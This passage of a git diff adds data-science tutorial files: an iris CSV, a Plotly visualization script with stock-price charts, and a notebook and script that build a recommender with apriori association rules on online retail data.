+5.0,3.4,1.6,0.4,setosa +5.2,3.5,1.5,0.2,setosa +5.2,3.4,1.4,0.2,setosa +4.7,3.2,1.6,0.2,setosa +4.8,3.1,1.6,0.2,setosa +5.4,3.4,1.5,0.4,setosa +5.2,4.1,1.5,0.1,setosa +5.5,4.2,1.4,0.2,setosa +4.9,3.1,1.5,0.1,setosa +5.0,3.2,1.2,0.2,setosa +5.5,3.5,1.3,0.2,setosa +4.9,3.1,1.5,0.1,setosa +4.4,3.0,1.3,0.2,setosa +5.1,3.4,1.5,0.2,setosa +5.0,3.5,1.3,0.3,setosa +4.5,2.3,1.3,0.3,setosa +4.4,3.2,1.3,0.2,setosa +5.0,3.5,1.6,0.6,setosa +5.1,3.8,1.9,0.4,setosa +4.8,3.0,1.4,0.3,setosa +5.1,3.8,1.6,0.2,setosa +4.6,3.2,1.4,0.2,setosa +5.3,3.7,1.5,0.2,setosa +5.0,3.3,1.4,0.2,setosa +7.0,3.2,4.7,1.4,versicolor +6.4,3.2,4.5,1.5,versicolor +6.9,3.1,4.9,1.5,versicolor +5.5,2.3,4.0,1.3,versicolor +6.5,2.8,4.6,1.5,versicolor +5.7,2.8,4.5,1.3,versicolor +6.3,3.3,4.7,1.6,versicolor +4.9,2.4,3.3,1.0,versicolor +6.6,2.9,4.6,1.3,versicolor +5.2,2.7,3.9,1.4,versicolor +5.0,2.0,3.5,1.0,versicolor +5.9,3.0,4.2,1.5,versicolor +6.0,2.2,4.0,1.0,versicolor +6.1,2.9,4.7,1.4,versicolor +5.6,2.9,3.6,1.3,versicolor +6.7,3.1,4.4,1.4,versicolor +5.6,3.0,4.5,1.5,versicolor +5.8,2.7,4.1,1.0,versicolor +6.2,2.2,4.5,1.5,versicolor +5.6,2.5,3.9,1.1,versicolor +5.9,3.2,4.8,1.8,versicolor +6.1,2.8,4.0,1.3,versicolor +6.3,2.5,4.9,1.5,versicolor +6.1,2.8,4.7,1.2,versicolor +6.4,2.9,4.3,1.3,versicolor +6.6,3.0,4.4,1.4,versicolor +6.8,2.8,4.8,1.4,versicolor +6.7,3.0,5.0,1.7,versicolor +6.0,2.9,4.5,1.5,versicolor +5.7,2.6,3.5,1.0,versicolor +5.5,2.4,3.8,1.1,versicolor +5.5,2.4,3.7,1.0,versicolor +5.8,2.7,3.9,1.2,versicolor +6.0,2.7,5.1,1.6,versicolor +5.4,3.0,4.5,1.5,versicolor +6.0,3.4,4.5,1.6,versicolor +6.7,3.1,4.7,1.5,versicolor +6.3,2.3,4.4,1.3,versicolor +5.6,3.0,4.1,1.3,versicolor +5.5,2.5,4.0,1.3,versicolor +5.5,2.6,4.4,1.2,versicolor +6.1,3.0,4.6,1.4,versicolor +5.8,2.6,4.0,1.2,versicolor +5.0,2.3,3.3,1.0,versicolor +5.6,2.7,4.2,1.3,versicolor +5.7,3.0,4.2,1.2,versicolor +5.7,2.9,4.2,1.3,versicolor +6.2,2.9,4.3,1.3,versicolor +5.1,2.5,3.0,1.1,versicolor +5.7,2.8,4.1,1.3,versicolor +6.3,3.3,6.0,2.5,virginica +5.8,2.7,5.1,1.9,virginica +7.1,3.0,5.9,2.1,virginica +6.3,2.9,5.6,1.8,virginica +6.5,3.0,5.8,2.2,virginica +7.6,3.0,6.6,2.1,virginica +4.9,2.5,4.5,1.7,virginica +7.3,2.9,6.3,1.8,virginica +6.7,2.5,5.8,1.8,virginica +7.2,3.6,6.1,2.5,virginica +6.5,3.2,5.1,2.0,virginica +6.4,2.7,5.3,1.9,virginica +6.8,3.0,5.5,2.1,virginica +5.7,2.5,5.0,2.0,virginica +5.8,2.8,5.1,2.4,virginica +6.4,3.2,5.3,2.3,virginica +6.5,3.0,5.5,1.8,virginica +7.7,3.8,6.7,2.2,virginica +7.7,2.6,6.9,2.3,virginica +6.0,2.2,5.0,1.5,virginica +6.9,3.2,5.7,2.3,virginica +5.6,2.8,4.9,2.0,virginica +7.7,2.8,6.7,2.0,virginica +6.3,2.7,4.9,1.8,virginica +6.7,3.3,5.7,2.1,virginica +7.2,3.2,6.0,1.8,virginica +6.2,2.8,4.8,1.8,virginica +6.1,3.0,4.9,1.8,virginica +6.4,2.8,5.6,2.1,virginica +7.2,3.0,5.8,1.6,virginica +7.4,2.8,6.1,1.9,virginica +7.9,3.8,6.4,2.0,virginica +6.4,2.8,5.6,2.2,virginica +6.3,2.8,5.1,1.5,virginica +6.1,2.6,5.6,1.4,virginica +7.7,3.0,6.1,2.3,virginica +6.3,3.4,5.6,2.4,virginica +6.4,3.1,5.5,1.8,virginica +6.0,3.0,4.8,1.8,virginica +6.9,3.1,5.4,2.1,virginica +6.7,3.1,5.6,2.4,virginica +6.9,3.1,5.1,2.3,virginica +5.8,2.7,5.1,1.9,virginica +6.8,3.2,5.9,2.3,virginica +6.7,3.3,5.7,2.5,virginica +6.7,3.0,5.2,2.3,virginica +6.3,2.5,5.0,1.9,virginica +6.5,3.0,5.2,2.0,virginica +6.2,3.4,5.4,2.3,virginica +5.9,3.0,5.1,1.8,virginica \ No newline at end of file diff --git a/machine-learning/plotly-visualization/plotly_viz.py b/machine-learning/plotly-visualization/plotly_viz.py new file mode 100644 index 00000000..61935af9 --- /dev/null +++ b/machine-learning/plotly-visualization/plotly_viz.py @@ -0,0 +1,160 @@ + +# coding: utf-8 + +# In[ ]: + + +import plotly.offline as py +import plotly.graph_objs as go +import plotly.figure_factory as ff +import pandas as pd +import numpy as np +import yfinance as yf +import pandas_datareader as pdr + +py.init_notebook_mode() + + +# In[ ]: + + +x = [ i for i in range(-10,10) ] + +y = [ i*2 for i in range(-10,10) ] + +xaxis = go.layout.XAxis(title="X Axis") +yaxis = go.layout.YAxis(title="Y Axis") + +fig = go.Figure(layout=go.Layout(title="Simple Line Plot", xaxis=xaxis, yaxis=yaxis)) +fig.add_trace(go.Scatter(x=x, y=y)) + + +# In[ ]: + + +def sigmoid(x): + return 1 / (1 + np.exp((-1) * x)) + +x = sorted(np.random.random(100) * 10 - 5) +y = [ sigmoid(i) for i in x ] + +xaxis = go.layout.XAxis(title="X Axis") +yaxis = go.layout.YAxis(title="Y Axis") + +fig=go.Figure(layout=go.Layout(title="Sigmoid Plot",xaxis=xaxis, yaxis=yaxis)) +fig.add_trace(go.Scatter(x=x, y=y, marker=dict(color="red"))) + + +# In[ ]: + + +l = [] + +for _ in range(5): + l.append([ sorted(np.random.randint(low=0, high=10000, size=50)), sorted(np.random.randint(low=0, high=10000, size=50)) ]) + +l = np.array(l) + +figure = go.Figure(layout=go.Layout(title="Simple Scatter Example", xaxis=go.layout.XAxis(title="X"), yaxis=go.layout.YAxis(title="Y"))) +for i in range(len(l)): + figure.add_trace(go.Scatter(x=l[i][0],y=l[i][1], mode="markers", name=f" Distribution {i+1} ")) +figure.show() + + +# In[ ]: + + +dist = np.random.normal(loc=0, scale=1, size=50000) + + +# In[ ]: + + +figure = go.Figure() +figure.add_trace(go.Histogram(x=dist,)) + + +# In[ ]: + + + + +d=[{"values":np.random.normal(0,0.5,10000), "information": " Normal Distribution with mean 0 and std= 0.5"}, + {"values":np.random.normal(0,1,10000), "information": " Normal Distribution with mean 0 and std= 1"}, + {"values":np.random.normal(0,1.5,10000), "information": " Normal Distribution with mean 0 and std= 1.5"}, + {"values":np.random.normal(0,2,10000), "information": " Normal Distribution with mean 0 and std= 2"}, + {"values":np.random.normal(0,5,10000), "information": " Normal Distribution with mean 0 and std= 5"}] + +ff.create_distplot([ele["values"] for ele in d], group_labels=[ele["information"] for ele in d], show_hist=False) + + +# In[ ]: + + +x = np.random.randint(low=5, high=100, size=15) +y = np.random.randint(low=5, high=100 ,size=15) +z = np.random.randint(low=5, high=100, size=15) + +fig = go.Figure() +fig.add_trace(go.Scatter3d(x=x, y=y, z=z, mode="markers")) + + +# In[ ]: + + +df_iris = pd.read_csv("iris.csv") + + +# In[ ]: + + +fig = go.Figure() +species_types = df_iris.species.unique().tolist() + +for specie in species_types: + b = df_iris.species == specie + fig.add_trace(go.Scatter3d(x=df_iris["sepal_length"][b], y=df_iris["sepal_width"][b], z=df_iris["petal_width"][b], name=specie, mode="markers")) + + +fig.show() + + +# In[ ]: + + +yf.pdr_override() + +symbols = ["AAPL","MSFT"] +stocks = [] +for symbol in symbols: + stocks.append(pdr.get_data_yahoo(symbol, start="2020-01-01", end="2020-05-31")) + + +# In[ ]: + + +fig = go.Figure() + +for stock,symbol in zip(stocks,symbols): + fig.add_trace(go.Scatter(x=stock.index, y=stock.Close, name=symbol)) + +fig.show() + + +# In[ ]: + + +df_aapl = pdr.get_data_yahoo(symbol, start="2020-01-01", end="2020-05-31") + + +# In[ ]: + + +ff.create_candlestick(dates=df_aapl.index, open=df_aapl.Open, high=df_aapl.High, low=df_aapl.Low, close=df_aapl.Close) + + +# In[ ]: + + + + diff --git a/machine-learning/plotly-visualization/requirements.txt b/machine-learning/plotly-visualization/requirements.txt new file mode 100644 index 00000000..c85d3412 --- /dev/null +++ b/machine-learning/plotly-visualization/requirements.txt @@ -0,0 +1,3 @@ +plotly +pandas +numpy \ No newline at end of file diff --git a/machine-learning/recommender-system-using-association-rules/README.md b/machine-learning/recommender-system-using-association-rules/README.md new file mode 100644 index 00000000..f64c861b --- /dev/null +++ b/machine-learning/recommender-system-using-association-rules/README.md @@ -0,0 +1,5 @@ +# [Recommender Systems using Association Rules Mining in Python](https://www.thepythoncode.com/article/build-a-recommender-system-with-association-rule-mining-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Get the dataset [here](https://archive.ics.uci.edu/ml/machine-learning-databases/00352/) +- Follow [the tutorial](https://www.thepythoncode.com/article/build-a-recommender-system-with-association-rule-mining-in-python) and the [Colab Notebook](https://colab.research.google.com/drive/1HWv-ETO_eVqVJGsbnGui-Nb33tvHPlL3?usp=sharing) \ No newline at end of file diff --git a/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.ipynb b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.ipynb new file mode 100644 index 00000000..cb03e1ed --- /dev/null +++ b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.ipynb @@ -0,0 +1,563 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import pandas as pd\n", + "import seaborn as sns\n", + "import matplotlib.pyplot as plt\n", + "%matplotlib inline\n", + "from mlxtend.frequent_patterns import apriori, association_rules\n", + "from collections import Counter" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# dataset = pd.read_csv(\"data.csv\",encoding= 'unicode_escape')\n", + "dataset = pd.read_excel(\"Online Retail.xlsx\")\n", + "dataset.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "dataset.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "## Verify missing value\n", + "dataset.isnull().sum().sort_values(ascending=False)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "## Remove missing values\n", + "dataset1 = dataset.dropna()\n", + "dataset1.describe()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "#selecting data where quantity > 0\n", + "dataset1= dataset1[dataset1.Quantity > 0]\n", + "dataset1.describe()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Creating a new feature 'Amount' which is the product of Quantity and its Unit Price\n", + "dataset1['Amount'] = dataset1['Quantity'] * dataset1['UnitPrice']\n", + "# to highlight the Customers with most no. of orders (invoices) with groupby function\n", + "orders = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['InvoiceNo'].count()\n", + "print('The TOP 5 loyal customers with most number of orders...')\n", + "orders.sort_values(by='InvoiceNo', ascending=False).head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Creating a subplot of size 15x6\n", + "plt.subplots(figsize=(15,6))\n", + "# Using the style bmh for better visualization\n", + "plt.style.use('bmh')\n", + "# X axis will denote the customer ID, Y axis will denote the number of orders\n", + "plt.plot(orders.CustomerID, orders.InvoiceNo)\n", + "# Labelling the X axis\n", + "plt.xlabel('Customers ID')\n", + "# Labelling the Y axis\n", + "plt.ylabel('Number of Orders')\n", + "# Title to the plot\n", + "plt.title('Number of Orders by different Customers')\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "#Using groupby function to highlight the Customers with highest spent amount (invoices)\n", + "money = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['Amount'].sum()\n", + "print('The TOP 5 profitable customers with highest money spent...')\n", + "money.sort_values(by='Amount', ascending=False).head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Creating a subplot of size 15*6\n", + "plt.subplots(figsize=(15,6))\n", + "# X axis will denote the customer ID, Y axis will denote the amount spent\n", + "plt.plot(money.CustomerID, money.Amount)\n", + "# Using bmh style for better visualization\n", + "plt.style.use('bmh')\n", + "# Labelling the X-axis\n", + "plt.xlabel('Customers ID')\n", + "# Labelling the Y-axis\n", + "plt.ylabel('Money spent')\n", + "# Giving a suitable title to the plot\n", + "plt.title('Money Spent by different Customers')\n", + "\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Convert InvoiceDate from object to datetime\n", + "dataset1['InvoiceDate'] = pd.to_datetime(dataset.InvoiceDate, format='%m/%d/%Y %H:%M')\n", + "# Creating a new feature called year_month, such that December 2010 will be denoted as 201012\n", + "dataset1.insert(loc=2, column='year_month', value=dataset1['InvoiceDate'].map(lambda x: 100*x.year + x.month))\n", + "# Creating a new feature for Month\n", + "dataset1.insert(loc=3, column='month', value=dataset1.InvoiceDate.dt.month)\n", + "# Creating a new feature for Day\n", + "# +1 to make Monday=1.....until Sunday=7\n", + "dataset1.insert(loc=4, column='day', value=(dataset1.InvoiceDate.dt.dayofweek)+1)\n", + "# Creating a new feature for Hour\n", + "dataset1.insert(loc=5, column='hour', value=dataset1.InvoiceDate.dt.hour)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Using bmh style for better visualization\n", + "plt.style.use('bmh')\n", + "# Using groupby to extract No. of Invoices year-monthwise\n", + "ax = dataset1.groupby('InvoiceNo')['year_month'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6))\n", + "# Labelling the X axis\n", + "ax.set_xlabel('Month',fontsize=15)\n", + "# Labelling the Y-axis\n", + "ax.set_ylabel('Number of Orders',fontsize=15)\n", + "# Giving suitable title to the plot\n", + "ax.set_title('Number of orders for different Months (Dec 2010 - Dec 2011)',fontsize=15)\n", + "# Providing with X tick labels\n", + "ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13)\n", + "\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Day = 6 is Saturday.no orders placed \n", + "dataset1[dataset1['day']==6]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Using groupby to count no. of Invoices daywise\n", + "ax = dataset1.groupby('InvoiceNo')['day'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6))\n", + "# Labelling X axis\n", + "ax.set_xlabel('Day',fontsize=15)\n", + "# Labelling Y axis\n", + "ax.set_ylabel('Number of Orders',fontsize=15)\n", + "# Giving suitable title to the plot\n", + "ax.set_title('Number of orders for different Days',fontsize=15)\n", + "# Providing with X tick labels\n", + "# Since there are no orders placed on Saturdays, we are excluding Sat from xticklabels\n", + "ax.set_xticklabels(('Mon','Tue','Wed','Thur','Fri','Sun'), rotation='horizontal', fontsize=15)\n", + "\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Using groupby to count the no. of Invoices hourwise\n", + "ax = dataset1.groupby('InvoiceNo')['hour'].unique().value_counts().iloc[:-2].sort_index().plot(kind='bar',figsize=(15,6))\n", + "# Labelling X axis\n", + "ax.set_xlabel('Hour',fontsize=15)\n", + "# Labelling Y axis\n", + "ax.set_ylabel('Number of Orders',fontsize=15)\n", + "# Giving suitable title to the plot\n", + "ax.set_title('Number of orders for different Hours', fontsize=15)\n", + "# Providing with X tick lables ( all orders are placed between 6 and 20 hour )\n", + "ax.set_xticklabels(range(6,21), rotation='horizontal', fontsize=15)\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "dataset1.UnitPrice.describe()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# checking the distribution of unit price\n", + "plt.subplots(figsize=(12,6))\n", + "# Using darkgrid style for better visualization\n", + "sns.set_style('darkgrid')\n", + "# Applying boxplot visualization on Unit Price\n", + "sns.boxplot(dataset1.UnitPrice)\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Creating a new df of free items\n", + "freeproducts = dataset1[dataset1['UnitPrice'] == 0]\n", + "freeproducts.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Counting how many free items were given out year-month wise\n", + "freeproducts.year_month.value_counts().sort_index()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Counting how many free items were given out year-month wise\n", + "ax = freeproducts.year_month.value_counts().sort_index().plot(kind='bar',figsize=(12,6))\n", + "# Labelling X-axis\n", + "ax.set_xlabel('Month',fontsize=15)\n", + "# Labelling Y-axis\n", + "ax.set_ylabel('Frequency',fontsize=15)\n", + "# Giving suitable title to the plot\n", + "ax.set_title('Frequency for different Months (Dec 2010 - Dec 2011)',fontsize=15)\n", + "# Providing X tick labels\n", + "# Since there are 0 free items in June 2011, we are excluding it\n", + "ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11'), rotation='horizontal', fontsize=13)\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "plt.style.use('bmh')\n", + "# Using groupby to sum the amount spent year-month wise\n", + "ax = dataset1.groupby('year_month')['Amount'].sum().sort_index().plot(kind='bar',figsize=(15,6))\n", + "# Labelling X axis\n", + "ax.set_xlabel('Month',fontsize=15)\n", + "# Labelling Y axis\n", + "ax.set_ylabel('Amount',fontsize=15)\n", + "# Giving suitable title to the plot\n", + "ax.set_title('Revenue Generated for different Months (Dec 2010 - Dec 2011)',fontsize=15)\n", + "# Providing with X tick labels\n", + "ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), rotation='horizontal', fontsize=13)\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Creating a new pivot table which sums the Quantity ordered for each item\n", + "most_sold= dataset1.pivot_table(index=['StockCode','Description'], values='Quantity', aggfunc='sum').sort_values(by='Quantity', ascending=False)\n", + "most_sold.reset_index(inplace=True)\n", + "sns.set_style('white')\n", + "# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of Quantity on the X axis\n", + "# We are plotting only the 10 most ordered items\n", + "sns.barplot(y='Description', x='Quantity', data=most_sold.head(10))\n", + "# Giving suitable title to the plot\n", + "plt.title('Top 10 Items based on No. of Sales', fontsize=14)\n", + "plt.ylabel('Item')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# choosing WHITE HANGING HEART T-LIGHT HOLDER as a sample\n", + "d_white = dataset1[dataset1['Description']=='WHITE HANGING HEART T-LIGHT HOLDER']" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# WHITE HANGING HEART T-LIGHT HOLDER has been ordered 2028 times\n", + "d_white.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# WHITE HANGING HEART T-LIGHT HOLDER has been ordered by 856 customers\n", + "len(d_white.CustomerID.unique())" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Creating a pivot table that displays the sum of unique Customers who bought particular item\n", + "\n", + "most_customers = dataset1.pivot_table(index=['StockCode','Description'], values='CustomerID', aggfunc=lambda x: len(x.unique())).sort_values(by='CustomerID', ascending=False)\n", + "most_customers\n", + "# Since the count for WHITE HANGING HEART T-LIGHT HOLDER matches above length 856, the pivot table looks correct for all items" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "most_customers.reset_index(inplace=True)\n", + "sns.set_style('white')\n", + "# Creating a bar plot of Description ( or the item ) on the Y axis and the sum of unique Customers on the X axis\n", + "# We are plotting only the 10 most bought items\n", + "sns.barplot(y='Description', x='CustomerID', data=most_customers.head(10))\n", + "# Giving suitable title to the plot\n", + "plt.title('Top 10 Items bought by Most no. of Customers', fontsize=14)\n", + "plt.ylabel('Item')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Storing all the invoice numbers into a list y\n", + "y = dataset1['InvoiceNo']\n", + "y = y.to_list()\n", + "# Using set function to find unique invoice numbers only and storing them in invoices list\n", + "invoices = list(set(y))\n", + "# Creating empty list first_choices\n", + "firstchoices = []\n", + "# looping into list of unique invoice numbers\n", + "for i in invoices:\n", + " \n", + " # the first item (index = 0) of every invoice is the first purchase\n", + " # extracting the item name for the first purchase\n", + " firstpurchase = dataset1[dataset1['InvoiceNo']==i]['items'].reset_index(drop=True)[0]\n", + " \n", + " # Appending the first purchase name into first choices list\n", + " firstchoices.append(firstpurchase)\n", + "firstchoices[:5]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Using counter to count repeating first choices\n", + "count = Counter(firstchoices)\n", + "# Storing the counter into a datafrane\n", + "data_first_choices = pd.DataFrame.from_dict(count, orient='index').reset_index()\n", + "# Rename columns as item and count\n", + "data_first_choices.rename(columns={'index':'item', 0:'count'},inplace=True)\n", + "# Sorting the data based on count\n", + "data_first_choices.sort_values(by='count',ascending=False)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "plt.subplots(figsize=(20,10))\n", + "sns.set_style('white')\n", + "# Creating a bar plot that displays Item name on the Y axis and Count on the X axis\n", + "sns.barplot(y='item', x='count', data=data_first_choices.sort_values(by='count',ascending=False).head(10))\n", + "# Giving suitable title to the plot\n", + "plt.title('Top 10 First Choices', fontsize=14)\n", + "plt.ylabel('Item')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "basket = (dataset1.groupby(['InvoiceNo', 'Description'])['Quantity'].sum().unstack().reset_index().fillna(0).set_index('InvoiceNo'))\n", + "basket.head(10)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "def encode_u(x):\n", + " if x < 1:\n", + " return 0\n", + " if x >= 1:\n", + " return 1\n", + "\n", + "basket = basket.applymap(encode_u)\n", + "# everything is encoded into 0 and 1\n", + "basket.head(10)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# trying out on a sample item\n", + "wooden_star = basket.loc[basket['WOODEN STAR CHRISTMAS SCANDINAVIAN']==1]\n", + "# Using apriori algorithm, creating association rules for the sample item\n", + "# Applying apriori algorithm for wooden_star\n", + "frequentitemsets = apriori(wooden_star, min_support=0.15, use_colnames=True)\n", + "# Storing the association rules into rules\n", + "wooden_star_rules = association_rules(frequentitemsets, metric=\"lift\", min_threshold=1)\n", + "# Sorting the rules on lift and support\n", + "wooden_star_rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# In other words, it returns the items which are likely to be bought by user because he bought the item passed into function\n", + "def frequently_bought_t(item):\n", + " # df of item passed\n", + " item_d = basket.loc[basket[item]==1]\n", + " # Applying apriori algorithm on item df\n", + " frequentitemsets = apriori(item_d, min_support=0.15, use_colnames=True)\n", + " # Storing association rules\n", + " rules = association_rules(frequentitemsets, metric=\"lift\", min_threshold=1)\n", + " # Sorting on lift and support\n", + " rules.sort_values(['lift','support'],ascending=False).reset_index(drop=True)\n", + " print('Items frequently bought together with {0}'.format(item))\n", + " # Returning top 6 items with highest lift and support\n", + " return rules['consequents'].unique()[:6]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "frequently_bought_t('WOODEN STAR CHRISTMAS SCANDINAVIAN')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "frequently_bought_t('JAM MAKING SET WITH JARS')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "interpreter": { + "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67" + }, + "kernelspec": { + "display_name": "Python 3.8.7 64-bit", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.12" + }, + "orig_nbformat": 4 + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.py b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.py new file mode 100644 index 00000000..a1ac3013 --- /dev/null +++ b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.py @@ -0,0 +1,315 @@ +# %% +import pandas as pd +import seaborn as sns +import matplotlib.pyplot as plt +%matplotlib inline +from mlxtend.frequent_patterns import apriori, association_rules +from collections import Counter + +# %% +# dataset = pd.read_csv("data.csv",encoding= 'unicode_escape') +dataset = pd.read_excel("Online Retail.xlsx") +dataset.head() + +# %% +dataset.shape + +# %% +## Verify missing value +dataset.isnull().sum().sort_values(ascending=False) + +# %% +## Remove missing values +dataset1 = dataset.dropna() +dataset1.describe() + +# %% +#selecting data where quantity > 0 +dataset1= dataset1[dataset1.Quantity > 0] +dataset1.describe() + +# %% +# Creating a new feature 'Amount' which is the product of Quantity and its Unit Price +dataset1['Amount'] = dataset1['Quantity'] * dataset1['UnitPrice'] +# to highlight the Customers with most no. of orders (invoices) with groupby function +orders = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['InvoiceNo'].count() +print('The TOP 5 loyal customers with most number of orders...') +orders.sort_values(by='InvoiceNo', ascending=False).head() + +# %% +# Creating a subplot of size 15x6 +plt.subplots(figsize=(15,6)) +# Using the style bmh for better visualization +plt.style.use('bmh') +# X axis will denote the customer ID, Y axis will denote the number of orders +plt.plot(orders.CustomerID, orders.InvoiceNo) +# Labelling the X axis +plt.xlabel('Customers ID') +# Labelling the Y axis +plt.ylabel('Number of Orders') +# Title to the plot +plt.title('Number of Orders by different Customers') +plt.show() + +# %% +#Using groupby function to highlight the Customers with highest spent amount (invoices) +money = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['Amount'].sum() +print('The TOP 5 profitable customers with highest money spent...') +money.sort_values(by='Amount', ascending=False).head() + +# %% +# Creating a subplot of size 15*6 +plt.subplots(figsize=(15,6)) +# X axis will denote the customer ID, Y axis will denote the amount spent +plt.plot(money.CustomerID, money.Amount) +# Using bmh style for better visualization +plt.style.use('bmh') +# Labelling the X-axis +plt.xlabel('Customers ID') +# Labelling the Y-axis +plt.ylabel('Money spent') +# Giving a suitable title to the plot +plt.title('Money Spent by different Customers') + +plt.show() + +# %% +# Convert InvoiceDate from object to datetime +dataset1['InvoiceDate'] = pd.to_datetime(dataset.InvoiceDate, format='%m/%d/%Y %H:%M') +# Creating a new feature called year_month, such that December 2010 will be denoted as 201012 +dataset1.insert(loc=2, column='year_month', value=dataset1['InvoiceDate'].map(lambda x: 100*x.year + x.month)) +# Creating a new feature for Month +dataset1.insert(loc=3, column='month', value=dataset1.InvoiceDate.dt.month) +# Creating a new feature for Day +# +1 to make Monday=1.....until Sunday=7 +dataset1.insert(loc=4, column='day', value=(dataset1.InvoiceDate.dt.dayofweek)+1) +# Creating a new feature for Hour +dataset1.insert(loc=5, column='hour', value=dataset1.InvoiceDate.dt.hour) + +# %% +# Using bmh style for better visualization +plt.style.use('bmh') +# Using groupby to extract No. of Invoices year-monthwise +ax = dataset1.groupby('InvoiceNo')['year_month'].unique().value_counts().sort_index().plot(kind='bar',figsize=(15,6)) +# Labelling the X axis +ax.set_xlabel('Month',fontsize=15) +# Labelling the Y-axis +ax.set_ylabel('Number of Orders',fontsize=15) +# Giving suitable title to the plot +ax.set_title('Number of orders for different Months (Dec 2010 - Dec 2011)',fontsize=15) +# Providing with X tick labels +ax.set_xticklabels(('Dec_10','Jan_11','Feb_11','Mar_11','Apr_11','May_11','Jun_11','July_11','Aug_11','Sep_11','Oct_11','Nov_11','Dec_11'), 